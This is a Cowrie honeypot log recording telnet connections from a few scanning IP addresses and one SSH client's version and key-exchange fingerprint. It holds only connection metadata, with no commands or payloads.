{"eventid":"cowrie.session.closed","duration":31.22519302368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:53.694934Z","src_ip":"155.138.226.95","session":"d53fa88f50e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":46442,"dst_ip":"10.17.0.5","dst_port":23,"session":"49d3da4dbd86","protocol":"telnet","message":"New connection: 155.138.226.95:46442 (10.17.0.5:23) [session: 49d3da4dbd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:57.293871Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f9a4b1c609","protocol":"telnet","message":"New connection: 104.245.105.2:34918 (10.17.0.5:23) [session: e3f9a4b1c609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:58.111415Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":59400,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ff301536fe5","protocol":"telnet","message":"New connection: 155.138.226.95:59400 (10.17.0.5:23) [session: 0ff301536fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:03.321533Z"}
{"eventid":"cowrie.session.closed","duration":30.67522096633911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:05.587757Z","src_ip":"155.138.226.95","session":"e8c9efa36f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38624,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0bbe88a42b","protocol":"telnet","message":"New connection: 104.245.105.2:38624 (10.17.0.5:23) [session: fb0bbe88a42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:05.846660Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":59402,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2e30bd2da1","protocol":"telnet","message":"New connection: 155.138.226.95:59402 (10.17.0.5:23) [session: aa2e30bd2da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:09.692028Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":59416,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e277bb0aee7","protocol":"telnet","message":"New connection: 155.138.226.95:59416 (10.17.0.5:23) [session: 3e277bb0aee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:10.155853Z"}
{"eventid":"cowrie.session.closed","duration":31.694350719451904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:14.942959Z","src_ip":"155.138.226.95","session":"5213db96a6aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b22354e429","protocol":"telnet","message":"New connection: 155.138.226.95:42558 (10.17.0.5:23) [session: c8b22354e429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:17.768870Z"}
{"eventid":"cowrie.session.closed","duration":31.80489706993103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:19.997537Z","src_ip":"155.138.226.95","session":"8b4abf45b30b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":59952,"dst_ip":"10.17.0.5","dst_port":23,"session":"03777735b8c5","protocol":"telnet","message":"New connection: 155.138.226.95:59952 (10.17.0.5:23) [session: 03777735b8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:27.974222Z"}
{"eventid":"cowrie.session.closed","duration":30.93151354789734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:28.225268Z","src_ip":"155.138.226.95","session":"49d3da4dbd86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.995047092437744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:30.106344Z","src_ip":"104.245.105.2","session":"e3f9a4b1c609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57616,"dst_ip":"159.203.135.109","dst_port":23,"session":"23632b9f07f4","protocol":"telnet","message":"New connection: 64.41.88.162:57616 (159.203.135.109:23) [session: 23632b9f07f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:34.616591Z"}
{"eventid":"cowrie.session.closed","duration":31.5795681476593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:34.900970Z","src_ip":"155.138.226.95","session":"0ff301536fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004623413085938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:36.851094Z","src_ip":"104.245.105.2","session":"fb0bbe88a42b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59340,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cb5e9abc9d4","protocol":"telnet","message":"New connection: 64.41.88.162:59340 (159.203.135.109:23) [session: 4cb5e9abc9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:37.287699Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":60364,"dst_ip":"159.203.135.109","dst_port":23,"session":"352df8646a75","protocol":"telnet","message":"New connection: 64.41.88.162:60364 (159.203.135.109:23) [session: 352df8646a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:38.708866Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":32906,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aa6c907293a","protocol":"telnet","message":"New connection: 64.41.88.162:32906 (159.203.135.109:23) [session: 5aa6c907293a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:39.791503Z"}
{"eventid":"cowrie.session.closed","duration":31.03071117401123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:40.722530Z","src_ip":"155.138.226.95","session":"aa2e30bd2da1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31190800666809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:41.467641Z","src_ip":"155.138.226.95","session":"3e277bb0aee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36966,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc75c67b374","protocol":"telnet","message":"New connection: 155.138.226.95:36966 (10.17.0.5:23) [session: cdc75c67b374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:42.279728Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36982,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f54c7a2b1d6","protocol":"telnet","message":"New connection: 155.138.226.95:36982 (10.17.0.5:23) [session: 5f54c7a2b1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:45.047532Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36990,"dst_ip":"10.17.0.5","dst_port":23,"session":"e483fe38405c","protocol":"telnet","message":"New connection: 155.138.226.95:36990 (10.17.0.5:23) [session: e483fe38405c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:45.646928Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":54433,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b712ca6528","protocol":"telnet","message":"New connection: 49.88.156.34:54433 (10.17.0.5:23) [session: 45b712ca6528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:47.459125Z"}
{"eventid":"cowrie.session.closed","duration":31.182857036590576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:48.951629Z","src_ip":"155.138.226.95","session":"c8b22354e429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d47d12ca72","protocol":"telnet","message":"New connection: 155.138.226.95:50898 (10.17.0.5:23) [session: 26d47d12ca72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:57.706256Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60176,"dst_ip":"10.17.0.5","dst_port":23,"session":"8311b8195c42","protocol":"telnet","message":"New connection: 104.245.105.2:60176 (10.17.0.5:23) [session: 8311b8195c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:58.648708Z"}
{"eventid":"cowrie.session.closed","duration":31.260109186172485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:32:59.234244Z","src_ip":"155.138.226.95","session":"03777735b8c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":50904,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8f584d2bbb","protocol":"telnet","message":"New connection: 155.138.226.95:50904 (10.17.0.5:23) [session: 7d8f584d2bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:00.309813Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42398,"dst_ip":"10.17.0.5","dst_port":23,"session":"84d0f5adcd05","protocol":"telnet","message":"New connection: 155.138.226.95:42398 (10.17.0.5:23) [session: 84d0f5adcd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:09.886647Z"}
{"eventid":"cowrie.session.closed","duration":32.79157590866089,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:10.079159Z","src_ip":"64.41.88.162","session":"4cb5e9abc9d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.041985511779785,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:12.658502Z","src_ip":"64.41.88.162","session":"23632b9f07f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42386,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f034fa6746","protocol":"telnet","message":"New connection: 155.138.226.95:42386 (10.17.0.5:23) [session: a8f034fa6746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:12.860296Z"}
{"eventid":"cowrie.session.closed","duration":31.145322799682617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:13.424904Z","src_ip":"155.138.226.95","session":"cdc75c67b374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.976372957229614,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:15.767773Z","src_ip":"64.41.88.162","session":"5aa6c907293a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37463617324829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:16.021433Z","src_ip":"155.138.226.95","session":"e483fe38405c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.56455945968628,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:16.273279Z","src_ip":"64.41.88.162","session":"352df8646a75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.373186111450195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:16.420575Z","src_ip":"155.138.226.95","session":"5f54c7a2b1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":60186,"dst_ip":"10.17.0.5","dst_port":23,"session":"792a5b765968","protocol":"telnet","message":"New connection: 155.138.226.95:60186 (10.17.0.5:23) [session: 792a5b765968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:16.685618Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"502ca326c4c6","protocol":"telnet","message":"New connection: 155.138.226.95:42106 (10.17.0.5:23) [session: 502ca326c4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:23.127775Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42110,"dst_ip":"10.17.0.5","dst_port":23,"session":"891848a337bd","protocol":"telnet","message":"New connection: 155.138.226.95:42110 (10.17.0.5:23) [session: 891848a337bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:25.176853Z"}
{"eventid":"cowrie.session.closed","duration":30.479751348495483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:28.185913Z","src_ip":"155.138.226.95","session":"26d47d12ca72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42114,"dst_ip":"10.17.0.5","dst_port":23,"session":"83d97bf63649","protocol":"telnet","message":"New connection: 155.138.226.95:42114 (10.17.0.5:23) [session: 83d97bf63649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:29.107047Z"}
{"eventid":"cowrie.session.closed","duration":30.54187512397766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:29.190524Z","src_ip":"104.245.105.2","session":"8311b8195c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806541919708252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:31.116224Z","src_ip":"155.138.226.95","session":"7d8f584d2bbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34202,"dst_ip":"10.17.0.5","dst_port":23,"session":"541d7333e798","protocol":"telnet","message":"New connection: 155.138.226.95:34202 (10.17.0.5:23) [session: 541d7333e798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:33.754905Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34214,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca984b79ed65","protocol":"telnet","message":"New connection: 155.138.226.95:34214 (10.17.0.5:23) [session: ca984b79ed65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:36.376678Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de1245feaa7","protocol":"telnet","message":"New connection: 155.138.226.95:34230 (10.17.0.5:23) [session: 2de1245feaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:37.539264Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":34240,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acfa0a417b1","protocol":"telnet","message":"New connection: 155.138.226.95:34240 (10.17.0.5:23) [session: 7acfa0a417b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:38.244788Z"}
{"eventid":"cowrie.session.closed","duration":30.317460775375366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:40.203987Z","src_ip":"155.138.226.95","session":"84d0f5adcd05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36286,"dst_ip":"10.17.0.5","dst_port":23,"session":"37acc056b9af","protocol":"telnet","message":"New connection: 155.138.226.95:36286 (10.17.0.5:23) [session: 37acc056b9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:41.898268Z"}
{"eventid":"cowrie.session.closed","duration":30.245729684829712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:43.105613Z","src_ip":"155.138.226.95","session":"a8f034fa6746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36290,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da41b8de30d","protocol":"telnet","message":"New connection: 155.138.226.95:36290 (10.17.0.5:23) [session: 3da41b8de30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:46.196939Z"}
{"eventid":"cowrie.session.closed","duration":30.57159399986267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:47.257085Z","src_ip":"155.138.226.95","session":"792a5b765968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36306,"dst_ip":"10.17.0.5","dst_port":23,"session":"250ba780627c","protocol":"telnet","message":"New connection: 155.138.226.95:36306 (10.17.0.5:23) [session: 250ba780627c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:48.941739Z"}
{"eventid":"cowrie.session.closed","duration":31.651098489761353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:54.778736Z","src_ip":"155.138.226.95","session":"502ca326c4c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":43528,"dst_ip":"159.203.135.109","dst_port":23,"session":"41153b791495","protocol":"telnet","message":"New connection: 64.41.88.162:43528 (159.203.135.109:23) [session: 41153b791495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:54.856857Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":44492,"dst_ip":"159.203.135.109","dst_port":23,"session":"263e53965bb2","protocol":"telnet","message":"New connection: 64.41.88.162:44492 (159.203.135.109:23) [session: 263e53965bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:55.702798Z"}
{"eventid":"cowrie.session.closed","duration":31.460282802581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:56.636999Z","src_ip":"155.138.226.95","session":"891848a337bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":58410,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec1f75b9bbf0","protocol":"telnet","message":"New connection: 155.138.226.95:58410 (10.17.0.5:23) [session: ec1f75b9bbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:33:58.424187Z"}
{"eventid":"cowrie.session.closed","duration":31.037806510925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:00.144708Z","src_ip":"155.138.226.95","session":"83d97bf63649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49040,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c23c1ecc8a","protocol":"telnet","message":"New connection: 155.138.226.95:49040 (10.17.0.5:23) [session: f5c23c1ecc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:00.733206Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.221","src_port":33148,"dst_ip":"10.17.0.5","dst_port":22,"session":"e02d2e2be2a9","protocol":"ssh","message":"New connection: 66.132.172.221:33148 (10.17.0.5:22) [session: e02d2e2be2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:02.103480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:02.526668Z","src_ip":"66.132.172.221","session":"e02d2e2be2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:02.530630Z","src_ip":"66.132.172.221","session":"e02d2e2be2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.396071910858154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:04.150851Z","src_ip":"155.138.226.95","session":"541d7333e798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49046,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f590a1b9d6","protocol":"telnet","message":"New connection: 155.138.226.95:49046 (10.17.0.5:23) [session: 24f590a1b9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:04.764307Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49062,"dst_ip":"10.17.0.5","dst_port":23,"session":"023beac61da1","protocol":"telnet","message":"New connection: 155.138.226.95:49062 (10.17.0.5:23) [session: 023beac61da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:05.106798Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"9038ff9b712d","protocol":"telnet","message":"New connection: 155.138.226.95:49074 (10.17.0.5:23) [session: 9038ff9b712d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:05.846945Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ef80093483","protocol":"telnet","message":"New connection: 155.138.226.95:49084 (10.17.0.5:23) [session: e2ef80093483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:06.254762Z"}
{"eventid":"cowrie.session.closed","duration":30.722299098968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:07.098846Z","src_ip":"155.138.226.95","session":"ca984b79ed65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59890,"dst_ip":"159.203.135.109","dst_port":23,"session":"187ac2a43775","protocol":"telnet","message":"New connection: 64.41.88.162:59890 (159.203.135.109:23) [session: 187ac2a43775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:34:08.076932Z"}
